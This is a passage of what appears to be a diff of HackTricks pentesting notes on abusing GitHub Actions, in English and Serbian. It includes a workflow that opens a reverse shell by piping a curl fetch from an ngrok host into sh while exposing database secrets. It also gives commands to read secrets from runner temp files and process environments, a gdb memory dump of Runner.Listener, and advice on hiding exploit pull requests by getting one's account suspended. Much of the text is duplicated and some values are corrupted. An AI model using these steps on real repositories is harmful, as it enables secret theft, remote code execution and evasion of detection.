secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
- ```bash
cat /home/runner/work/_temp/*
```
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
- ```bash
ps axe | grep node
```
- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Zloupotreba samostalno hostovanih izvršilaca
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
Način da se pronađe koje **Github Actions se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github Action.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? servis za metapodatke?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** druge.
U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem njegove memorije:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
Primer se može naći u sledećem proširivom:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
Korisnik sa pravima čitanja nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Osetljive informacije u Github Actions logovima
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
## Sakrivanje tragova
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Teknika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji obrt. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
## Tools
## Alati
The following tools are useful to find Github Action workflows and even find vulnerable ones:
Sledeći alati su korisni za pronalaženje Github Action radnih tokova i čak pronalaženje ranjivih:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}

7
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
View File

@@ -1,6 +1 @@
# Gh Actions - Artifact Poisoning
# Gh Actions - Zagađenje Artefakata

5
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
View File

@@ -1,6 +1 @@
# GH Actions - Cache Poisoning

7
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
View File

@@ -1,6 +1 @@
# Gh Actions - Context Script Injections
# Gh Actions - Kontekstualne Injekcije Skripti